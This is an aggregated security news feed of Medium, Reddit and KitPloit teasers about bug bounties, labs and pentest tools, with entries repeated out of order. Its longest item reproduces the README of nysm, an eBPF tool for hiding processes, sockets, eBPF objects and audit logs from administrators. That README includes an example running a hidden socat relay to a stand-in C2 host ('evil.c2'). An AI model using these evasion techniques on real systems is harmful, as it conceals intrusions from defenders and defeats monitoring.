Today, we’ll break down Smart Contract Coverage. Smart Contract Coverage has emerged as an important and convenient aspect of blockchain…Continue reading on Medium » (https://medium.com/@JohnnyTime/understanding-sherlocks-smart-contract-coverage-3eca7d9033bc?source=rss------bug_bounty-5)

Nysm - A Stealth Post-Exploitation Container
http://www.kitploit.com/2024/01/nysm-stealth-post-exploitation-container.html

A stealth post-exploitation (https://www.kitploit.com/search/label/Post-Exploitation) container. Introduction With the raise in popularity of offensive tools based on eBPF, going from credential stealers to rootkits hiding their own PID, a question came to our mind: Would it be possible to make eBPF invisible (https://www.kitploit.com/search/label/Invisible) in its own eyes? From there, we created nysm, an eBPF stealth container (https://www.kitploit.com/search/label/Container) meant to make offensive tools fly under the radar of System Administrators, not only by hiding eBPF, but much more: bpftool bpflist-bpfcc ps top sockstat ss rkhunter chkrootkit lsof auditd etc... All these tools go blind to what goes through nysm. It hides: New eBPF programs New eBPF maps ️ New eBPF links  New Auditd generated logs  New PIDs 着 New sockets  Warning This tool is a simple demonstration of eBPF capabilities as such. It is not meant to be exhaustive. Nevertheless, pull requests are more than welcome.  Installation Requirements sudo apt install git make pkg-config libelf-dev clang llvm bpftool -y Linux headers vmlinux.h" dir="auto">cd ./nysm/src/
bpftool btf dump file /sys/kernel/btf/vmlinux format c > vmlinux.h Build cd ./nysm/src/
make Usage nysm is a simple program to run before the intended command: Usage: nysm [OPTION...] COMMAND
Stealth eBPF container.

-d, --detach Run COMMAND in background
-r, --rm Self destruct after execution
-v, --verbose Produce verbose output
-h, --help Display this help
--usage Display a short usage message
Examples Run a hidden bash: ./nysm bash Run a hidden ssh and remove ./nysm: ./nysm -r ssh user@domain
Run a hidden socat as a daemon and remove ./nysm: ./nysm -dr socat TCP4-LISTEN:80 TCP4:evil.c2:443 How it works In general As eBPF cannot overwrite returned values or kernel addresses, our goal is to find the lowest level call interacting with a userspace address to overwrite its value and hide the desired objects. To differentiate nysm events from the others, everything runs inside a seperated PID namespace. Hide eBPF objects bpftool has some features nysm wants to evade: bpftool prog list, bpftool map list and bpftool link list. As any eBPF program, bpftool uses the bpf() system call, and more specifically with the BPF_PROG_GET_NEXT_ID, BPF_MAP_GET_NEXT_ID and BPF_LINK_GET_NEXT_ID commands. The result of these calls is stored in the userspace address pointed by the attr argument. To overwrite uattr, a tracepoint is set on the bpf() entry to store the pointed address in a map. Once done, it waits for the bpf() exit tracepoint. When bpf() exists, nysm can read and write through the bpf_attr (https://elixir.bootlin.com/linux/v6.4/source/include/uapi/linux/bpf.h#L1320) structure. After each BPF_*_GET_NEXT_ID, bpf_attr.start_id is replaced by bpf_attr.next_id. In order to hide specific IDs, it checks bpf_attr.next_id and replaces it with the next ID that was not created in nysm. Program, map, and link IDs are collected from security_bpf_prog() (https://elixir.bootlin.com/linux/v6.4/source/security/security.c#L5092), security_bpf_map() (https://elixir.bootlin.com/linux/v6.4/source/security/security.c#L5077), and bpf_link_prime() (https://elixir.bootlin.com/linux/v6.4/source/kernel/bpf/syscall.c#L2867). Hide Auditd logs Auditd receives its logs from recvfrom() which stores its messages in a buffer. If the message received was generated by a nysm process through audit_log_end() (https://elixir.bootlin.com/linux/latest/source/kernel/audit.c#L2399), it replaces the message length in its nlmsghdr header by 0. Hide PIDS Hiding PIDs with eBPF is nothing new. nysm hides new alloc_pid() PIDs from getdents64() in /proc by changing the length of the previous record. As getdents64() requires to loop through all its files, the eBPF instructions limit is easily

reached. Therefore, nysm uses tail calls (https://docs.cilium.io/en/stable/bpf/architecture/#tail-calls) before reaching it. Hide sockets Hiding sockets is a big word. In fact, opened sockets are already hidden from many tools as they cannot find the process in /proc. Nevertheless, ss uses socket() with the NETLINK_SOCK_DIAG flag which returns all the currently opened sockets. After that, ss receives the result through recvmsg() in a message buffer and the returned value is the length of all these messages combined. Here, the same method as for the PIDs is applied: the length of the previous message is modified to hide nysm sockets. These are collected from the connect() and bind() calls. Limitations Even with the best effort, nysm still has some limitations. Every tool that does not close their file descriptors will spot nysm processes created while they are open. For example, if ./nysm bash is running before top, the processes will not show up. But, if another process is created from that bash instance while top is still running, the new process will be spotted. The same problem occurs with sockets and tools like nethogs. Kernel logs: dmesg and /var/log/kern.log, the message nysm[] is installing a program with bpf_probe_write_user helper that may corrupt user memory! will pop several times because of the eBPF verifier (https://www.kitploit.com/search/label/Verifier) on nysm run. Many traces written into files are left as hooking read() and write() would be too heavy (but still possible). For example /proc/net/tcp or /sys/kernel/debug/tracing/enabled_functions. Hiding ss recvmsg can be challenging as a new socket can pop at the beginning of the buffer, and nysm cannot hide it with a preceding record (this does not apply to PIDs). A quick fix could be to switch place between the first one and the next legitimate socket, but what if a socket is in the buffer by itself? Therefore, nysm modifies the first socket information with hardcoded (https://www.kitploit.com/search/label/Hardcoded) values. Running bpf() with any kind of BPF_*_GET_NEXT_ID flag from a nysm child process should be avoided as it would hide every non-nysm eBPF objects. Of course, many of these limitations must have their own solutions. Again, pull requests are more than welcome.

Download Nysm (https://github.com/eeriedusk/nysm)

How To Get A XSSI Bug In Bug Bounty— Bug Bounty Tuesday

During the testing phase, a specific request was brought to light: POST /user/getUserInfo HTTP/1.1 Host: xxxxx Cookie: xxxx ticket=xxxxxContinue reading on Medium »
Read more...

How To Get A XSSI Bug In Bug Bounty— Bug Bounty Tuesday
https://medium.com/@kerstan/how-to-get-a-xssi-bug-in-bug-bounty-bug-bounty-tuesday-7440b0caf32c?source=rss------bug_bounty-5

During the testing phase, a specific request was brought to light: POST /user/getUserInfo HTTP/1.1 Host: xxxxx Cookie: xxxx ticket=xxxxxContinue reading on Medium » (https://medium.com/@kerstan/how-to-get-a-xssi-bug-in-bug-bounty-bug-bounty-tuesday-7440b0caf32c?source=rss------bug_bounty-5)

Control-M Web Security Advisory
https://www.reddit.com/r/redteamsec/comments/192fs5t/controlm_web_security_advisory/

submitted by /u/gquere (https://www.reddit.com/user/gquere)
[link] (https://www.errno.fr/ControlMWebAdvisory.html) [comments] (https://www.reddit.com/r/redteamsec/comments/192fs5t/controlm_web_security_advisory/)

Developed a Bug Bounty Calculator

Always exited about building products.Continue reading on Medium »
Read more...

secator: the pentester's swiss knife
https://www.reddit.com/r/Pentesting/comments/192gjiu/secator_the_pentesters_swiss_knife/

<!-- SC_OFF -->Happy New Year pentesters !!! A few days ago we released secator on GitHub, which is a new CLI aimed at improving productivity for pentesters. secator is a Python-based swiss-knife tool that standardizes input / output for many recon tools that you use daily, like ffuf, subfinder, nmap, nuclei, ... and many others. Input options are mutualized amongst tools of the same category, and the output format is always structured: JSON lines, JSON, CSV, Google Sheets, you can pick. secator is also a workflow automator: we have a set of out-of-the-box workflows that you can use (run secator w to list them); and you can write custom workflows as well in YAML format. I recommend you give it a try (pip install secator) and let us know your feedback and questions below this post. FUCK !!! <!-- SC_ON --> submitted by /u/freelabz (https://www.reddit.com/user/freelabz)
[link] (https://www.reddit.com/r/Pentesting/comments/192gjiu/secator_the_pentesters_swiss_knife/) [comments] (https://www.reddit.com/r/Pentesting/comments/192gjiu/secator_the_pentesters_swiss_knife/)

How Much Was My First Bounty?

Hi, Ajak Amico’s welcome back to another blog today, I will show you How Much was my first bounty and report. Before starting, if you…Continue reading on Medium »
Read more...

Tricks I Do To Get Easy HOF and Bounty!

Hi, Ajak Amico’s welcome back to another blog today, I will show you How do I get Easy Hall of Fame (HOF) and bounty. Before starting, if…Continue reading on Medium »
Read more...

2.11 Lab: Password reset poisoning via middleware | 2024

This lab is vulnerable to password reset poisoning.Continue reading on Medium »
Read more...

How to Leverage Internal Proxies for Lateral Movement, Firewall Evasion, and Trust Exploitation
https://www.reddit.com/r/redteamsec/comments/192ioxk/how_to_leverage_internal_proxies_for_lateral/

<!-- SC_OFF -->I wrote a post on how to leverage internal proxies for lateral movement, defense evasion, and trust exploitation using two different techniques. <!-- SC_ON --> submitted by /u/pracsec (https://www.reddit.com/user/pracsec)
[link] (https://practicalsecurityanalytics.com/how-to-leverage-internal-proxies-for-lateral-movement-firewall-evasion-and-trust-exploitation/) [comments] (https://www.reddit.com/r/redteamsec/comments/192ioxk/how_to_leverage_internal_proxies_for_lateral/)

Developed a Bug Bounty Calculator
https://medium.com/@chander.romesh/developed-a-bug-bounty-calculator-b8370e04b15a?source=rss------bug_bounty-5

Always exited about building products.Continue reading on Medium » (https://medium.com/@chander.romesh/developed-a-bug-bounty-calculator-b8370e04b15a?source=rss------bug_bounty-5)

How Much Was My First Bounty?
https://medium.com/@Ajakcybersecurity/how-much-was-my-first-bounty-9c02df4b1958?source=rss------bug_bounty-5